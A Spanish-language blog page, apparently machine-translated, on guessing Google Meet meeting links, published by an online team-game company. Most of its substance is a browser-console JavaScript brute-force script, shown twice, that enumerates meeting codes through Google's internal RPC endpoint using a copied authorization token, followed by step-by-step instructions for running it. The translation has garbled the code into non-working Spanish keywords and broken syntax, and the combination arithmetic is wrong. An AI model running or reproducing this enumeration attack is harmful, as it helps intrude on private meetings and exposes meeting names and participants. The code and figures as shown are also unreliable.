Visio – Entítete en Google Meet | Dyrk, Dyna Meet – Visio

Conocer a Visio

aleatorize = () => DICO = DICO.Dividir (”).Mapa (valor => (< value, sort: Math.random() >)).hechizo ((a, b) => a.hechizo – B.deletrear).MAPA ((< value >) => valor).Unirse (”),
NewPatternkey = () => “xxx-xxxx-xxx”.Dividir (”).Mapa (c => c == ‘-‘?Cuerda C.fromcharcode (matemáticas.Piso (matemáticas.Random ()*25) +97)).Unirse (”),
Key = newPatternkey (), contador = 20;
Next = () => clave.Dividir (”).Mapa (e => e == ‘-‘ ? E: Dico [Dico.Índicef (e) + 1> = DICO.longitud ? 0: Dico.Índicef (e) + 1]).Unirse (”),
Contador = 0;
MeetLink = ‘https: // Meet.Google.com/’, disponible toe = () => xhr = new xmlhttprequest ();
If (contador ++> = 20) contador = 0;
Key = newPatternkey ();
Aleatorizar ();
>
Key = next ();
XHR.Abrir (‘Get’, MeetLink + Key);
XHR.AddEventLisner (‘load’, (e) => fetch (meetlink.concat (“/$ rpc/google.RTC.reuniones.V1.MeetingSpacesService/resolVeMeetingSpace “),” Encabezados “:” Autorización “: Autorización,
“Tipo de contenido”: “Aplicación/X-ProTobuf”,
“X-Goog-Adep-Key”: E.objetivo.responsabilidad.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([A-ZA-Z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-goog-ende-résspose-if-ejecutable”: “base64”,
“X-Goog-Meeting-Identifier”: btoa (‘\ b \ x02 \ x12 \ f’.Concat (clave)),
>,
“Body”: “\ n \ f”.Concat (clave, “0 \ u0001”),
“Método”: “Publicar”
>).Entonces (e => e.Texto ())
.Entonces (e => setTimeOut (disponible, 100);
consola.Log (MeetLink.Concat (clave).Beautifydisplay (38), (e.Reemplazar (/[^a-Za-z0-9]/g, “”)+””).Beautifydisplay (38));
>);
>);
XHR.Enviar ();
>;
Cadena.prototipo.BeautifyDisplay = function (tamaño) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >tamaño ? TXT.Longitud: tamaño)).SubStr (0, tamaño).Concat (‘|’); >,
consola.Claro ();
disponible ();
>) ()

Dar un toque

Actualmente trabajando en el campo de la ciberseguridad, me enfrento regularmente con situaciones bastante triviales.

Último, la intrusión de una persona durante una reunión .
Afortunadamente, por seguridad, Google Meet incluyó una característica que permite a ambos advertir a los participantes que una persona busca unirse a la videoconferencia, pero también para aceptarla o rechazarla.

Sin embargo, este evento me trae a hacerme una serie de preguntas .

Complejidad del enlace de Google Meet

En primer lugar, ¿cómo es posible que una persona se conecte a un enlace de reunión sin haber sido invitado a él? ?

Debemos considerar la simplicidad del enlace: https: // google.encontrarse.com/Xxx -yyyy -zzzz

Xxx -yyyy -zzzz son solo caracteres alfabéticos entre A y Z, es decir, 27 combinaciones posibles para cada personaje.

Para los matemáticos, existe, por lo tanto:

27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 Combinaciones posibles .

Vida útil de un enlace de Google Meet

Aunque ahora podemos comprender mejor cómo se construyen los enlaces de nuestros bonos de la conferencia “Google Meet”, hay un aspecto muy importante a tener en cuenta . La vida útil de un enlace de Google Meet !

De hecho, todos pueden generar reuniones de Google Meeting en unos pocos clics.
Pero después de unos días, semanas o meses . Los enlaces ya no son válidos.

Por lo tanto, los enlaces generados tienen un cierto período de validez .

La excepción hace eventos “recurrentes”, y aquí es donde se vuelve interesante.
En los negocios, hay muchas oportunidades para organizarse regularmente (equipo / negocio, diariamente, semanal, mensual,, . )).
Cuando un empleado genera este tipo de evento en su agenda, se genera automáticamente un enlace de Google Meet. Este es invariable.
Entonces tendrá el mismo enlace cada vez para este evento.

Con un pequeño JavaScript y Brute Force ?

Con todos estos elementos, ahora estamos equipados para barrer todas las posibilidades y alcanzar las altas probabilidades para detectar enlaces a videoconociats !

Por lo tanto, tengo un poco de retro de la operación de Google Meet para escribir un código JavaScript que intentará un número infinito de combinaciones

(C) Dyrk.Org 2023-2024 – Ruleta de reunión
(1) Ejecute este script en https: // google.encontrarse.comunicarse

(2) Encuentre y actualice la variable de la autorización con un token de autorización válido en los encabezados de “Solicitudes XHR” de sus Googles

Deje la autorización = “SAPISIDHASH XXXXXXXXXXXXXXXX_XXXXXXXXXXXXXXXXXXXXXXXXXXXXX“, dico =” abcdefghijklmnopqrstuvxz “,

aleatorize = () => DICO = DICO.Dividir (”).Mapa (valor => (< value, sort: Math.random() >)).hechizo ((a, b) => a.hechizo – B.deletrear).MAPA ((< value >) => valor).Unirse (”),
NewPatternkey = () => “xxx-xxxx-xxx”.Dividir (”).Mapa (c => c == ‘-‘?Cuerda C.fromcharcode (matemáticas.Piso (matemáticas.Random ()*25) +97)).Unirse (”),
Key = newPatternkey (), contador = 20;
Next = () => clave.Dividir (”).Mapa (e => e == ‘-‘ ? E: Dico [Dico.Índicef (e) + 1> = DICO.longitud ? 0: Dico.Índicef (e) + 1]).Unirse (”),
Contador = 0;
MeetLink = ‘https: // Meet.Google.com/’, disponible toe = () => xhr = new xmlhttprequest ();
If (contador ++> = 20) contador = 0;
Key = newPatternkey ();
Aleatorizar ();
>
Key = next ();
XHR.Abrir (‘Get’, MeetLink + Key);
XHR.AddEventLisner (‘load’, (e) => fetch (meetlink.concat (“/$ rpc/google.RTC.reuniones.V1.MeetingSpacesService/resolVeMeetingSpace “),” Encabezados “:” Autorización “: Autorización,
“Tipo de contenido”: “Aplicación/X-ProTobuf”,
“X-Goog-Adep-Key”: E.objetivo.responsabilidad.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([A-ZA-Z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-goog-ende-résspose-if-ejecutable”: “base64”,
“X-Goog-Meeting-Identifier”: btoa (‘\ b \ x02 \ x12 \ f’.Concat (clave)),
>,
“Body”: “\ n \ f”.Concat (clave, “0 \ u0001”),
“Método”: “Publicar”
>).Entonces (e => e.Texto ())
.Entonces (e =>

SetTimeOut (disponible, 100);
consola.Log (MeetLink.Concat (clave).Beautifydisplay (38), (e.Reemplazar (/[^a-Za-z0-9]/g, “”)+””).Beautifydisplay (38));
>);
>);
XHR.Enviar ();
>;
Cadena.prototipo.BeautifyDisplay = function (tamaño) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >tamaño ? TXT.Longitud: tamaño)).SubStr (0, tamaño).Concat (‘|’); >,
consola.Claro ();
disponible ();
>) ()

Para operar todo esto será necesario:

  1. Abra la página https: // reunirse.Google.comunicarse
  2. Abra la consola de desarrollador
  3. En la pestaña “Red”, filtre la búsqueda / xhr y recupere un token de token“Autorización”
  4. Copiar y pegar el código fuente anterior y poner al lugar indicó el token.
  5. Validar con la tecla “Entrada” en su teclado.

Recuperación del token de “autorización”:

Para los curiosos, así es como debería ser el resultado de este script en acción.
Por lo tanto, notamos líneas que nos informan que el espacio para la videoconferencia no existe.
Y otros que nos pusieron la ficha de la conferencia ! Por lo tanto, indica que el enlace es válido;)

Sin embargo, no espere caer en unos segundos en un enlace de encuentro ^^
(A menos que seas un poco de suerte)
Necesitarás ser una gran paciencia, dejándola correr al menos media hora.

Conclusión

No se asuste de que haya una mayor cantidad de suerte para encontrar un enlace válido de Google Meet que ganar loto.

Atención ! Una persona que se encuentra con un enlace de encuentro válido acceso a cierta información sin la necesidad de estar conectado:
El nombre de la reunión (por lo tanto, evite deslizar información confidencial) y los participantes conectados (todo o un juego).

Conocer a Visio

Robo en línea

Best-Seller Sticker Robbery en línea

jugadores

Hasta 1000 jugadores simultáneamente

Una plataforma de fácil acceso, en Visio

Horizonte 2024

Miniatura - Horizonte 2024 - Visio

jugadores

Hasta 1000 jugadores simultáneamente

Una plataforma de fácil acceso, en Visio

Donde esta Charlie ?!

Miniatura - ¿Dónde está Charlie - Visio?

jugadores

Hasta 1000 jugadores simultáneamente

Una plataforma de fácil acceso, en Visio

Enigma misión

Miniatura - Misión Enigma - Visio

jugadores

Hasta 1000 jugadores simultáneamente

Una plataforma de fácil acceso, en Visio

Conciencia de ciberseguridad

Miniatura - Ciberseguridad - Visio

jugadores

Hasta 5000 jugadores simultáneamente

Una plataforma de fácil acceso, en Visio

Guardar Navidad !

Miniatura - ¡Guarde la Navidad! - Visio

jugadores

Hasta 1000 jugadores simultáneamente

Una plataforma de fácil acceso, en Visio

Copyright © 2023 – Dyna’Meet

Gestionar el consentimiento para las cookies

Para ofrecer las mejores experiencias, utilizamos tecnologías como cookies para almacenar y/o acceder a la información de los dispositivos. El consentimiento para estas tecnologías nos permitirá procesar datos como el comportamiento de navegación o las identificaciones únicas en este sitio. El hecho de no consentir o retirar su consentimiento puede tener un efecto negativo en ciertas características y funciones.

Funcional funcional siempre activado

El almacenamiento o el acceso técnico es estrictamente necesario al final del interés legítimo para permitir el uso de un servicio específico solicitado explícitamente por el suscriptor o el usuario, o con el único propósito de transmitir la transmisión de comunicación en una red de comunicaciones electrónicas.

Preferencias Preferencias

El almacenamiento o el acceso técnico es necesario para el interés legítimo de almacenar las preferencias que el suscriptor o la persona que usa el servicio no lo solicita.

Estadística estadística

Almacenamiento o acceso técnico que se utiliza exclusivamente para fines estadísticos. Almacenamiento o acceso técnico que se utiliza exclusivamente en fines estadísticos anónimos. En ausencia de una citación para aparecer, el cumplimiento voluntario por parte de su proveedor de acceso a Internet o registros adicionales de un tercero, la información almacenada o extraída en este extremo generalmente no se puede usar para identificarlo para identificarlo.

El almacenamiento o el acceso técnico es necesario para crear perfiles de usuario para enviar anuncios o seguir al usuario en un sitio web o en varios sitios web con fines de marketing similares.